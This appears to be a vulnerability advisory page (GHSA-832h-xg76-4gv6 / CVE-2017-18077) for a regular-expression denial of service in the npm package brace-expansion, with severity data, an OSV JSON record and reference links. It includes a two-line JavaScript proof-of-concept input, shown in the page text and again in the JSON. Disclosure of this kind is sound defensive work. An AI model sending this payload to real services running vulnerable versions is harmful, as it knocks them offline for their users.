GHSA-832H-XG76-4GV6

Vulnerability from github – Published: 2018-01-29 15:50 – Updated: 2021-09-03 22:10
VLAI?
Summary
ReDoS in brace-expansion
Details

Affected versions of brace-expansion are vulnerable to a regular expression denial of service condition.

Proof of Concept

var expand = require('brace-expansion');
expand('{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n}');

Recommendation

Update to version 1.1.7 or later.

Severity ?
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "brace-expansion"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2017-18077"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1333"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2020-06-16T21:24:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "Affected versions of `brace-expansion` are vulnerable to a regular expression denial of service condition.\n\n## Proof of Concept\n\n```\nvar expand = require(\u0027brace-expansion\u0027);\nexpand(\u0027{,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\\n}\u0027);\n```\n\n\n## Recommendation\n\nUpdate to version 1.1.7 or later.",
  "id": "GHSA-832h-xg76-4gv6",
  "modified": "2021-09-03T22:10:24Z",
  "published": "2018-01-29T15:50:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-18077"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/issues/33"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/pull/35"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juliangruber/brace-expansion/pull/35/commits/b13381281cead487cbdbfd6a69fb097ea5e456c3"
    },
    {
      "type": "WEB",
      "url": "https://bugs.debian.org/862712"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-832h-xg76-4gv6"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/juliangruber/brace-expansion"
    },
    {
      "type": "WEB",
      "url": "https://www.npmjs.com/advisories/338"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ReDoS in brace-expansion"
}


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  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.